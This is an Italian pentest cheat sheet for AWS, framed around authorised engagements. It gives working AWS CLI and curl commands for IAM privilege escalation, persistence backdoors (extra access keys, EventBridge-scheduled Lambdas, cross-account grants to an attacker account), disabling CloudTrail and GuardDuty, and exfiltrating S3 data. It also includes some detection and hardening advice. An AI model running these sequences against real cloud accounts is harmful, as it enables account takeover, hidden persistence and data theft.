AWS CLI Linux: Pentest ,Enumeration ,Attacco e Difesa

AWS CLI su Linux per il pentesting di Amazon Web Services: comandi di enumeration IAM, S3, EC2 e Lambda, verifica dei permessi e privilege escalation cloud.
- Pubblicato il 2026-10-29
- Tempo di lettura: 34 min
AWS CLI per Pentest: Enumeration, IAM e Privilege Escalation #
Su Linux, AWS CLI è uno degli strumenti fondamentali per il pentest offensivo su Amazon Web Services: permette di enumerare le risorse cloud, analizzare i permessi IAM e individuare percorsi di privilege escalation partendo da credenziali AWS ottenute durante un engagement autorizzato.
Questa guida è una** cheat sheet **pratica di AWS penetration testing e red team assessment: raccoglie i comandi per enumerare IAM, S3, EC2, Lambda e gli altri servizi principali, verificare i privilegi effettivi e analizzare tecniche di privilege escalation, lateral movement, data exfiltration e persistence. Include esempi operativi, prerequisiti, impatto delle misconfigurazioni e riferimenti a MITRE ATT&CK Cloud, oltre alle richieste HTTP firmate con curl e Signature Version 4 (SigV4), utili quando AWS CLI non è disponibile su Linux. L’obiettivo è riprodurre scenari realistici di attacco cloud, comprendere fin dove arrivano le autorizzazioni e documentare i rischi senza uscire dallo scope del pentest.
Firmare richieste AWS con curl, senza la CLI #
Da curl 7.75.0 esiste --aws-sigv4, che firma la richiesta con Signature Version 4 usando le credenziali passate con --user. Sintassi:
curl --aws-sigv4 "aws:amz:REGION:SERVICE" \
--user "ACCESS_KEY_ID:SECRET_ACCESS_KEY" \
-H "x-amz-security-token: SESSION_TOKEN" \
URLL’header x-amz-security-token va aggiunto a mano solo se le credenziali sono temporanee (STS, ruolo EC2/Lambda/ECS, assume-role) — con una coppia access key/secret key permanente non serve. SERVICE è il signing name del servizio (es. sts, s3, lambda, secretsmanager — coincidono quasi sempre col nome usato nell’hostname).
Ogni servizio AWS usa uno di tre protocolli diversi, e questo cambia come costruisci la richiesta:
- query/REST con form-urlencoded (STS, IAM, RDS, CloudFormation, SNS…): parametri in
Action=X&Version=Y&...nel body o nella query string. - JSON 1.1 con
X-Amz-Target(Secrets Manager, SSM, KMS, ECS, ECR, Organizations, Cognito…): body JSON puro, l’operazione è specificata nell’headerX-Amz-Target: ServiceName.OperationName, non nell’URL. - REST-JSON/REST-XML con path reali (Lambda, S3, EKS, API Gateway): l’operazione è determinata dal path e dal metodo HTTP, come una API REST normale.
Ho verificato in locale (server di test + confronto con una firma SigV4 calcolata indipendentemente) che le firme generate da --aws-sigv4 per tutti e tre i protocolli sono corrette.
Probe non autenticato: fingerprinting di un endpoint prima di firmare #
Prima ancora di avere credenziali valide (o per verificare che un endpoint/servizio sia effettivamente raggiungibile, in quale region, dietro quale WAF/proxy), una richiesta non firmata con curl -i (così vedi anche gli header di risposta, non solo il body) contro un endpoint AWS reale è comunque informativa:
curl -i https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/AWS risponde comunque — con un 403 e un body {"message":"Missing Authentication Token"} o {"__type":"MissingAuthenticationTokenException",...} — e questo da solo ti confirma: il servizio esiste in quella region, il path/versione API è corretto, e non c’è un layer intermedio (WAF, proxy aziendale, firewall) che blocca la richiesta prima che arrivi ad AWS. Se invece ottieni un timeout, un reset di connessione, o un errore DNS, il problema è a monte (region sbagliata, servizio non disponibile lì, o un blocco di rete).
Occhio a non confondere questo con un endpoint http://IP/2015-03-31/functions/ su IP nudo: quello non è mai un endpoint AWS pubblico reale (AWS non pubblica servizi dietro un IP diretto senza hostname/TLS) — se lo vedi in un contesto di laboratorio/CTF è quasi certamente un proxy locale, un mock, o il target stesso che reimplementa l’API Lambda (es. LocalStack, o un servizio custom che imita l’interfaccia REST di Lambda per scopi di test). Verifica sempre con curl -i cosa risponde davvero quell’IP prima di trattarlo come se fosse AWS.
Lo stesso probe non firmato funziona su qualunque endpoint di questa guida — basta sostituire l’URL:
curl -i https://secretsmanager.us-east-1.amazonaws.com/
curl -i https://ec2.us-east-1.amazonaws.com/
curl -i https://s3.amazonaws.com/Tabella dei servizi AWS #
| Servizio | Cos’è | Cosa enumerare | Protocollo API | Impatto di sicurezza |
|---|---|---|---|---|
| IAM | Gestione identità | Utenti, ruoli, policy, trust policy, permissions boundary | query | Root di quasi ogni privilege escalation |
| STS | Credenziali temporanee | Identità corrente, ruoli assumibili | query | Pivoting tra ruoli e account |
| S3 | Object storage | Bucket, ACL, bucket policy, versioning, encryption | REST-XML | Data exposure, spesso il punto d’ingresso iniziale |
| EC2 | Macchine virtuali | Istanze, IAM instance profile, security group, user-data | EC2 query | Code execution, credenziali via IMDS |
| Lambda | Funzioni serverless | Funzioni, config, ruolo di esecuzione, env vars, codice | REST-JSON | Secret in chiaro, privesc via ruolo di esecuzione |
| Secrets Manager | Segreti con rotazione | Segreti, metadati, versioni | JSON 1.1 | Credenziali applicative, DB, API key |
| SSM | Config/segreti + esecuzione remota | Parametri, documenti, sessioni attive | JSON 1.1 | Esecuzione comandi su EC2 come root/SYSTEM |
| RDS | Database gestiti | Istanze, cluster, snapshot | query | Esposizione rete, snapshot condivisi |
| ECR | Registro container | Repository, immagini | JSON 1.1 | Secret hardcoded nelle immagini |
| ECS | Orchestrazione container | Cluster, task definition, ExecuteCommand | JSON 1.1 | Secret in task definition, shell nel container |
| KMS | Chiavi crittografiche | Chiavi, policy, stato | JSON 1.1 | Decifratura dati, se autorizzata |
| Cognito | Auth app client-side | Identity pool, user pool, ruoli unauth/auth | JSON 1.1 | Credenziali IAM senza auth, user takeover |
| EKS | Kubernetes gestito | Cluster, endpoint pubblico, mapping aws-auth | REST-JSON | Accesso al control plane K8s via IAM |
| CloudFormation | Infrastructure as code | Stack, output, template | query | Secret hardcoded in template e output |
| Organizations | Multi-account | Account, OU, SCP | JSON 1.1 | Blast radius dell’intera org, pivot cross-account |
| CloudTrail | Audit log | Trail attivi, management/data events | JSON 1.1 | Capire cosa viene effettivamente loggato |
AWS CLI Pentest Cheat Sheet #
I comandi da lanciare per primi in qualunque engagement, prima di scendere nel dettaglio servizio per servizio. R = solo lettura, W = modifica/crea risorse (va tracciato e autorizzato esplicitamente nello scope prima di eseguirlo).
| Comando | Obiettivo | Permesso IAM richiesto | R/W |
|---|---|---|---|
aws sts get-caller-identity | Chi sono, in che account | Nessuno (non bloccabile da deny) | R |
aws configure list | Quale profilo/credenziali sta usando la CLI in questo momento | — (locale) | R |
aws iam list-roles / list-users | Mappa identità dell’account | iam:ListRoles, iam:ListUsers | R |
aws iam simulate-principal-policy | Verifica permessi effettivi senza eseguire l’azione | iam:SimulatePrincipalPolicy | R |
aws s3api list-buckets | Bucket di proprietà dell’account | s3:ListAllMyBuckets | R |
aws ec2 describe-instances | Istanze, instance profile, IMDS config | ec2:DescribeInstances | R |
aws lambda list-functions | Funzioni e ruoli di esecuzione associati | lambda:ListFunctions | R |
aws ssm describe-instance-information | Quali istanze hanno l’agente SSM attivo (candidate per lateral movement) | ssm:DescribeInstanceInformation | R |
aws secretsmanager list-secrets | Segreti presenti (solo metadati) | secretsmanager:ListSecrets | R |
aws cloudtrail get-trail-status | Copertura reale del logging | cloudtrail:GetTrailStatus | R |
Ogni comando oltre questi dieci modifica, crea o invoca qualcosa: trattalo sempre come W finché non hai verificato che sia realmente read-only.
Prerequisiti per un AWS Pentest #
# Verify AWS CLI v2 is installed — v1 is EOL and some newer APIs/flags
# (e.g. --no-sign-request on some services, certain --query shortcuts)
# are missing or behave differently
aws --version
# See exactly which profile, region and credential source the CLI
# is about to use — check this BEFORE assuming a profile is active
aws configure list
# Confirm identity and account before touching anything
aws sts get-caller-identity --profile pentest
# Confirm which regions are even enabled for this account — resources
# in a disabled/opted-out region won't show up in a default-region scan
aws ec2 describe-regions --all-regionsPrima di enumerare qualsiasi cosa, fissa per scritto: account ID autorizzati nello scope, region da coprire, se le credenziali sono permanenti o temporanee (e quando scadono — aws sts get-session-token/un assume-role hanno una Expiration nella risposta, controllala sempre), e se l’engagement prevede azioni di tipo W o solo enumerazione.
Setup rapido #
# Dedicated profile for the engagement — never use the default one
aws configure --profile pentest
# Or with temporary credentials (e.g. from STS or IMDS)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # only if the credentials are temporaryLe variabili d’ambiente hanno precedenza sul --profile passato a riga di comando. Se i risultati non tornano quelli attesi, controlla sempre env | grep AWS_ prima di sospettare permessi mancanti.
# Current identity — always the first command to run
aws sts get-caller-identity --profile pentestEquivalente curl (protocollo query, form-urlencoded):
Endpoint: https://sts.us-east-1.amazonaws.com/ — stesso endpoint per ogni azione STS, l’operazione è nel parametro Action del body, non nel path.
curl --aws-sigv4 "aws:amz:us-east-1:sts" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=GetCallerIdentity&Version=2011-06-15" \
https://sts.us-east-1.amazonaws.com/get-caller-identity ritorna Account, UserId, Arn — ti dice subito se sei un IAM user, un ruolo assunto o un utente federato.
IAM via curl #
IAM usa lo stesso protocollo query di STS, ma l’endpoint non è regionale: IAM è un servizio globale, un solo endpoint per tutto l’account indipendentemente dalla region in cui lavori.
Endpoint: https://iam.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:iam" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=ListRoles&Version=2010-05-08" \
https://iam.amazonaws.com/Nota: anche se l’endpoint IAM è globale, la region passata a --aws-sigv4 (qui us-east-1) resta necessaria per calcolare la firma — SigV4 la richiede comunque come parte dello scope della credenziale, anche quando il servizio stesso non è regionale.
Workflow di AWS enumeration #
- Identifica account, principal e region.
get-caller-identity+ verifica la region attiva. Molte risorse esistono solo in certe region. - Verifica credenziali, sessione e permessi disponibili. Temporanee o permanenti? Quanto durano?
- Enumera IAM e le relazioni di fiducia. Chi sei, cosa puoi fare, quali ruoli puoi assumere.
- Mappa risorse e servizi accessibili. In base a cosa IAM mostra essere raggiungibile.
- Individua potenziali percorsi di privilege escalation.
- Valida i risultati nei limiti dello scope e raccogli evidenze. Non eseguire l’escalation “per vedere se funziona” se non è previsto dallo scope.
Enumerazione, verifica permessi e sfruttamento #
Tre fasi distinte, confonderle è l’errore più comune:
- Enumerazione: raccogliere informazioni.
- Verifica dei permessi: stabilire se l’azione IAM necessaria è effettivamente disponibile — tramite
simulate-principal-policy, test diretti, o lettura della policy. - Sfruttamento: eseguire realmente l’azione.
Il fatto che una policy contenga iam:CreateAccessKey non significa che sia sfruttabile: può esserci un Deny esplicito, una condition non soddisfatta, un permissions boundary o una SCP che la blocca.
IAM: enumerazione e privilege escalation #
Enumerazione base #
aws iam get-user
aws iam list-users
aws iam list-roles
aws iam list-groups
# Custom policies in the account — do NOT skip AWS managed policies:
# many (AdministratorAccess, PowerUserAccess, IAMFullAccess...) grant
# huge privileges and must be reviewed just like custom ones
aws iam list-policies --scope Local
aws iam list-policies --scope AWS --only-attachedRelazioni e permessi effettivi #
# Trust policy of a role: who can assume it
aws iam get-role --role-name ROLE_NAME --query 'Role.AssumeRolePolicyDocument'
# Groups a user belongs to
aws iam list-groups-for-user --user-name TARGET
# Attached / inline policies
aws iam list-attached-user-policies --user-name TARGET
aws iam list-attached-role-policies --role-name TARGET
aws iam list-attached-group-policies --group-name TARGET
aws iam list-user-policies --user-name TARGET
aws iam get-user-policy --user-name TARGET --policy-name POLICY_NAME
# Permissions boundary (if set, caps the max effective privilege)
aws iam get-user --user-name TARGET --query 'User.PermissionsBoundary'
# Which users/roles/groups have a given policy attached
aws iam list-entities-for-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAMELeggere il contenuto reale di una policy #
Una policy ha sempre una versione di default: non assumere mai che sia v1.
aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--query 'Policy.DefaultVersionId' --output text
aws iam get-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--version-id VERSION_ID_FOUND_ABOVEControlla sempre: statement Effect: Deny (vince sempre), blocchi Condition (IP, MFA, tag), tipo di policy (identity-based, resource-based, trust, SCP, session policy — il privilegio effettivo è l’intersezione di tutte quelle applicabili).
Verificare i permessi senza eseguire l’azione #
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT_ID:user/TARGET \
--action-names s3:GetObject iam:CreateAccessKey sts:AssumeRoleIl simulatore non esegue l’azione reale, ma la chiamata stessa è loggata in CloudTrail come qualsiasi altra API call. Soprattutto: non rappresenta l’intero contesto autorizzativo. Valuta le policy identity-based dell’identità indicata, ma non garantisce di riprodurre fedelmente resource-based policy di un altro account, SCP a livello di Organization, permissions boundary, o condition basate sul contesto reale della richiesta (IP sorgente, MFA al momento della chiamata, tag della risorsa). Un risultato allowed dal simulatore è un’indicazione forte che vale la pena verificare con un test controllato — non una certezza assoluta che l’azione andrà a buon fine in produzione.
Pattern di privilege escalation IAM, con comandi di sfruttamento #
1. iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Prerequisito: queste azioni su una policy già attached a te. Impatto: riscrivi la policy con permessi arbitrari. Verifica: se la policy ha già 5 versioni (massimo consentito), serve anche iam:DeletePolicyVersion.
cat > admin_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY \
--policy-document file://admin_policy.json \
--set-as-default2. iam:SetDefaultPolicyVersion su una versione precedente più permissiva
Prerequisito: una versione vecchia della policy, mai eliminata, concedeva più privilegi. Impatto: ripristinandola come default riottieni quei privilegi senza creare nulla di nuovo (più silenzioso del pattern 1).
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy --version-id v13. iam:PassRole + ec2:RunInstances
Prerequisito: iam:PassRole su un ruolo privilegiato, ec2:RunInstances, più accesso SSH/SSM all’istanza una volta avviata. Impatto: istanza con instance profile privilegiato → credenziali via IMDS.
aws ec2 run-instances \
--image-id ami-XXXXXXXX --instance-type t2.micro \
--iam-instance-profile Name=PRIVILEGED_PROFILE \
--key-name YOUR_KEY --security-group-ids sg-XXXXXXXX \
--region us-east-1
aws ec2 describe-instances --instance-id i-XXXXXXXX --region us-east-1Dopo l’accesso all’istanza (SSH o SSM), estrai le credenziali del ruolo da IMDS (vedi sezione dedicata più sotto).
4. iam:CreateAccessKey su altre identità
Prerequisito: azione con resource non limitata a ${aws:username}. Impatto: credenziali permanenti per un utente più privilegiato. Verifica: limite di 2 access key attive per utente.
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER5. iam:CreateLoginProfile / iam:UpdateLoginProfile
Prerequisito: azione su un utente che non ha (o ha già) una password console. Impatto: accesso console con una password che imposti tu.
aws iam create-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required
# Se l'utente ha già un login profile, serve update-login-profile invece
aws iam update-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required6. iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy / Put*Policy
aws iam attach-user-policy --user-name TARGET --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name TARGET_GROUP --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name TARGET --policy-name backdoor --policy-document file://admin_policy.json7. iam:AddUserToGroup
aws iam add-user-to-group --group-name Admins --user-name TARGET8. iam:UpdateAssumeRolePolicy e trust relationship permissive
cat > trust_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::ACCOUNT_ID:user/TARGET" },
"Action": "sts:AssumeRole"
}]
}
EOF
aws iam update-assume-role-policy --role-name PRIVILEGED_ROLE --policy-document file://trust_policy.json
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --role-session-name privesc9. sts:AssumeRole e trust cross-account
aws sts assume-role --role-arn arn:aws:iam::ALTRO_ACCOUNT_ID:role/TARGET_ROLE --role-session-name pivot10. Confused deputy: trust policy cross-account senza ExternalId
Prerequisito: una trust policy cross-account (tipica di ruoli pensati per essere assunti da un vendor/SaaS terzo) che fida di un intero account AWS ("Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} o un ruolo generico) senza richiedere una condition sts:ExternalId. Impatto: se conosci il Role ARN (spesso pubblicato in documentazione di integrazione, o individuabile per tentativi) e controlli qualunque identità in quell’account fidato — anche non quella originariamente prevista — puoi assumere il ruolo.
aws iam get-role --role-name THIRD_PARTY_ROLE --query 'Role.AssumeRolePolicyDocument'
# Look for a Principal scoped to an entire account with NO Condition block
# requiring sts:ExternalId — that's the confused-deputy gap
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT_ID:role/THIRD_PARTY_ROLE \
--role-session-name confused-deputy-testQuesto è esattamente il problema che l’ExternalId è nato per risolvere (AWS lo documenta per i casi di integrazione cross-account con terze parti) — la sua assenza è un finding da segnalare sempre, non solo una curiosità teorica.
IAM Access Analyzer: risorse esposte cross-account #
accessanalyzer enumera automaticamente quali risorse del tuo account sono raggiungibili dall’esterno (altri account o internet) — più rapido che leggere ogni resource-based policy a mano:
aws accessanalyzer list-analyzers
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN \
--filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}'Se non esiste un analizzatore attivo e hai access-analyzer:CreateAnalyzer puoi crearne uno; altrimenti ricadi sull’analisi manuale delle trust policy, cercando "AWS": "*" o Principal che referenziano account esterni.
Role chaining e limite di durata sessione #
Pivotando su più ruoli in sequenza (assume A → da A assume B → da B assume C), ogni hop porta la durata massima della sessione corrente al minimo tra quella del ruolo e 1 ora, a prescindere dalla MaxSessionDuration configurata — e non puoi rigenerare il token senza tornare alla credential originale. Su una chain lunga rischi di perdere accesso a metà operazione: pianifica i tempi.
# Hop 1 — assume intermediate role, export its creds
CREDS=$(aws sts assume-role --role-arn arn:aws:iam::ACC1:role/ROLE_A \
--role-session-name hop1 --output json)
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')
# Hop 2 — from ROLE_A, assume ROLE_B in another account (session cap now 1h)
aws sts assume-role --role-arn arn:aws:iam::ACC2:role/ROLE_B --role-session-name hop2Pattern cross-service (iam:PassRole come leva comune) #
Lo schema si ripete identico su più servizi: hai iam:PassRole su un ruolo privilegiato, più il permesso di creare una risorsa in un servizio che esegue codice per tuo conto. Il codice/comando/job gira con l’identità del ruolo passato.
# Lambda: crea ed esegui una funzione con un ruolo privilegiato
aws lambda create-function \
--function-name privesc-check --runtime python3.12 \
--role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--handler lambda_function.lambda_handler --zip-file fileb://payload.zip
aws lambda invoke --function-name privesc-check output.json
# Glue: dev endpoint con ruolo privilegiato, poi SSH per leggere le
# credenziali dal metadata service dell'endpoint
aws glue create-dev-endpoint \
--endpoint-name privesc-test --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--public-key file://~/.ssh/id_rsa.pub
aws glue get-dev-endpoint --endpoint-name privesc-test
# CloudFormation: stack con un ruolo privilegiato — il template può
# creare direttamente un utente admin ed esporne le access key in output
aws cloudformation create-stack \
--stack-name privesc --template-body file://create_admin.json \
--role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --capabilities CAPABILITY_IAM
aws cloudformation describe-stacks --stack-name privescPersistence: mantenere accesso dopo l’engagement iniziale #
Una volta dimostrato un percorso di escalation, un red team verifica anche se un attaccante potrebbe mantenere l’accesso in modo silenzioso. Due pattern comuni — da eseguire solo se lo scope prevede esplicitamente test di persistence, e da rimuovere a fine engagement:
Backdoor IAM: una seconda access key su un utente legittimo passa quasi sempre inosservata, perché non compare come “nuovo utente” in una revisione superficiale.
aws iam create-access-key --user-name LEGITIMATE_EXISTING_USER
# The new key works exactly like the user's original one — indistinguishable
# in day-to-day use, visible only via explicit list-access-keys auditingBackdoor via EventBridge + Lambda: una regola pianificata che invoca periodicamente una funzione con un ruolo privilegiato, senza bisogno di nessuna sessione interattiva aperta.
aws events put-rule \
--name maintenance-check --schedule-expression "rate(1 hour)"
aws lambda add-permission \
--function-name BACKDOOR_FUNCTION --statement-id eventbridge-invoke \
--action lambda:InvokeFunction --principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:ACCOUNT_ID:rule/maintenance-check
aws events put-targets \
--rule maintenance-check \
--targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:ACCOUNT_ID:function:BACKDOOR_FUNCTION"Nome della regola volutamente innocuo (“maintenance-check”) — il punto da verificare lato detection è se il cliente ha alerting su nuove regole EventBridge o nuove access key create fuori da un processo di onboarding noto.
Token federati a lunga durata: sts:GetFederationToken genera credenziali temporanee con durata fino a 36 ore (contro l’ora tipica di un assume-role chained), senza creare un utente o una access key che comparirebbero in un audit IAM.
Vincolo importante: AWS permette di chiamarla solo con credenziali long-term di un IAM user (access key permanente, AKIA...) o dell’account root — non funziona con credenziali temporanee ottenute via AssumeRole, AssumeRoleWithSAML o AssumeRoleWithWebIdentity. Utile quindi solo se le credenziali in mano sono di un IAM user, non se sei arrivato lì assumendo un ruolo.
aws sts get-federation-token \
--name tmp-session \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--duration-seconds 129600Backdoor via resource-based policy #
Una classe di persistence spesso trascurata perché non tocca IAM: molti servizi hanno una resource-based policy propria, modificabile senza permessi iam:*. Aggiungendoci come principal (anche di un account esterno), mantieni accesso alla risorsa anche dopo che la tua identità IAM è stata revocata.
# Lambda: grant an external account the right to invoke the function
aws lambda add-permission \
--function-name TARGET_FUNCTION --statement-id ext \
--action lambda:InvokeFunction --principal ATTACKER_ACCOUNT_ID
# KMS: grant yourself decrypt via a grant (separate from the key policy)
aws kms create-grant --key-id KEY_ID \
--grantee-principal arn:aws:iam::ATTACKER_ACCOUNT_ID:root \
--operations Decrypt
# Secrets Manager: attach a resource policy opening the secret cross-account
aws secretsmanager put-resource-policy --secret-id SECRET_NAME \
--resource-policy file://open_policy.jsonLo stesso vale per SNS (set-topic-attributes Policy), SQS (set-queue-attributes Policy) ed ECR (set-repository-policy). Il punto forte per un attaccante è che queste modifiche non compaiono in un audit delle policy IAM — vanno cercate risorsa per risorsa (o con IAM Access Analyzer, vedi sopra). Hardening: Access Analyzer attivo su tutti gli account, alert su AddPermission/CreateGrant/PutResourcePolicy con principal esterni, e deny esplicito nelle SCP sulla condivisione cross-account non approvata.
Defense evasion: disattivare la visibilità del defender #
Tecnica standard di red team (MITRE ATT&CK, categoria Impair Defenses), non enumerazione: se l’identità compromessa ha permessi amministrativi su logging/detection, un attaccante reale li disattiva prima di muoversi. Verificarlo durante un engagement dimostra l’impatto reale di una identità sovra-privilegiata — e va sempre segnalato come finding critico, ripristinando lo stato originale a fine test.
# Stop CloudTrail logging entirely for a trail
aws cloudtrail stop-logging --name TRAIL_NAME
# Disable a GuardDuty detector (stops threat detection, doesn't delete findings already generated)
aws guardduty update-detector --detector-id DETECTOR_ID --no-enable
# Stop AWS Config's configuration recorder (no more config change history)
aws configservice stop-configuration-recorder --configuration-recorder-name DEFAULT
# Delete VPC Flow Logs — removes network traffic visibility
aws ec2 delete-flow-logs --flow-log-ids fl-XXXXXXXXDisabilitare del tutto un detector è però rumoroso. Un’alternativa più silenziosa è un suppression filter con auto-archive: GuardDuty continua a girare (nessun Enable=false da allertare), ma i finding che corrispondono al filtro vengono archiviati automaticamente e spariscono dalla dashboard attiva.
aws guardduty create-filter \
--detector-id DETECTOR_ID --name legit-maintenance \
--action ARCHIVE \
--finding-criteria '{"Criterion":{"resource.accessKeyDetails.userName":{"Eq":["YOUR_PRINCIPAL"]}}}'Rilevamento lato defender: ognuna di queste azioni è un evento IAM loggato (se CloudTrail è ancora attivo al momento della chiamata — per questo StopLogging è tipicamente il primo passo, prima di tutto il resto). Un alert su StopLogging, UpdateDetector con Enable=false, CreateFilter con Action=ARCHIVE, o DeleteFlowLogs dovrebbe essere trattato come priorità massima in qualunque setup di monitoring AWS. Mitigazione: restringere questi permessi a un ruolo break-glass separato, con MFA obbligatoria e alerting dedicato su ogni utilizzo.
S3 #
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://BUCKET_NAME --recursive
aws s3api get-bucket-location --bucket BUCKET_NAME
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws s3api get-bucket-versioning --bucket BUCKET_NAME
aws s3api get-bucket-encryption --bucket BUCKET_NAME
aws s3api get-bucket-logging --bucket BUCKET_NAME
aws s3api get-bucket-ownership-controls --bucket BUCKET_NAME
aws s3api get-public-access-block --bucket BUCKET_NAME
aws s3api get-public-access-block --account-id ACCOUNT_IDEquivalente curl per leggere la bucket policy (S3 usa REST-XML, l’operazione è nella query string):
Endpoint: https://BUCKET_NAME.s3.amazonaws.com/ (virtual-hosted style) oppure https://s3.amazonaws.com/BUCKET_NAME (path style, utile se il nome del bucket contiene caratteri non validi in un hostname). Per list-buckets senza specificare un bucket, l’endpoint è https://s3.amazonaws.com/ nudo.
curl --aws-sigv4 "aws:amz:us-east-1:s3" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "x-amz-content-sha256: UNSIGNED-PAYLOAD" \
"https://BUCKET_NAME.s3.amazonaws.com/?policy"Tre livelli diversi, da non confondere #
- Bucket configurato come pubblico: la bucket policy/ACL lo permette.
- Bucket realmente accessibile: con le credenziali che hai in mano, la chiamata va a buon fine.
- Oggetti accessibili: un bucket privato può avere singoli oggetti con ACL pubblica.
get-bucket-policy-status dà direttamente IsPublic: true/false. aws s3 ls senza bucket restituisce solo i bucket di proprietà dell’account — una lista vuota non dimostra che l’account non abbia accesso ad altri bucket di terzi.
# Scope recursive listings with a prefix on large buckets — an unfiltered
# recursive list on millions of objects is slow, burns API calls and is
# loud in the logs
aws s3 ls s3://BUCKET_NAME/config/ --recursive
aws s3api list-objects-v2 --bucket BUCKET_NAME --prefix backup/ --max-items 100Se il bucket/oggetto è pubblico, lo esfiltri anche senza alcuna credenziale AWS:
curl -s "https://BUCKET_NAME.s3.amazonaws.com/config/database.yml" -o database.ymlExfiltration silenziosa con presigned URL #
Se il bucket è privato ma hai s3:GetObject, puoi generare un URL firmato temporaneo e scaricare l’oggetto da una macchina completamente diversa, senza mai esporre le tue credenziali AWS reali a quel secondo host (utile se il download avviene da un ambiente non fidato, o per dimostrare l’impatto senza lasciare le chiavi in giro):
aws s3 presign s3://BUCKET_NAME/config/database.yml --expires-in 300
# Output: a plain HTTPS URL valid for 300 seconds — fetch it with a bare curl,
# no AWS credentials needed on the machine that downloads it
curl -s "URL_GENERATO_SOPRA" -o database.ymlLa generazione dell’URL è loggata in CloudTrail come una firma, ma la richiesta GET effettiva verso l’URL presigned non compare come chiamata API — è una richiesta HTTP qualsiasi verso S3, visibile solo nei log di accesso S3 (get-bucket-logging) se attivi.
Enumerazione senza credenziali: --no-sign-request
#
Bucket pubblici rispondono a richieste non firmate — utile per testare l’esposizione da un host senza credenziali AWS, o per brute-force del nome del bucket target:
aws s3 ls s3://TARGET_BUCKET --no-sign-request
aws s3api list-objects-v2 --bucket TARGET_BUCKET --no-sign-request
aws s3 cp s3://TARGET_BUCKET/file.txt - --no-sign-requestPer trovare bucket pubblici a partire dal nome dell’azienda, permuta il nome in varianti comuni (company-backup, company-logs, company-dev, company-prod, company-assets) e testa con --no-sign-request: NoSuchBucket (nome non esiste) è diverso da AccessDenied (esiste, privato).
Oggetti eliminati ma ancora recuperabili: S3 versioning #
Se il bucket ha il versioning abilitato, gli oggetti “cancellati” non sono davvero rimossi — lasciano un DeleteMarker, ma le versioni precedenti restano fino a purge esplicito:
# List ALL versions including delete markers
aws s3api list-object-versions --bucket BUCKET_NAME
# Retrieve a specific version of a "deleted" file
aws s3api get-object \
--bucket BUCKET_NAME \
--key path/to/file.txt \
--version-id VERSION_ID_FROM_ABOVE \
recovered_file.txtUna policy di “eliminazione” dei dati sensibili + versioning attivo è una falsa sicurezza: chiunque abbia s3:GetObjectVersion può recuperare tutto.
EC2 e VPC #
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-route-tables# IAM instance profile attached — often the fastest path to credentials
aws ec2 describe-instances --query 'Reservations[].Instances[].IamInstanceProfile'
# IMDS configuration — HttpTokens: required = IMDSv2 enforced,
# optional = IMDSv1 still accepted
aws ec2 describe-instances --query 'Reservations[].Instances[].MetadataOptions'
# User-data: often holds provisioning scripts with hardcoded secrets
aws ec2 describe-instance-attribute --instance-id i-XXXXXXXXXXXX --attribute userData \
--query 'UserData.Value' --output text | base64 -d
# Launch templates: the same user-data can be reused across the fleet
aws ec2 describe-launch-templates
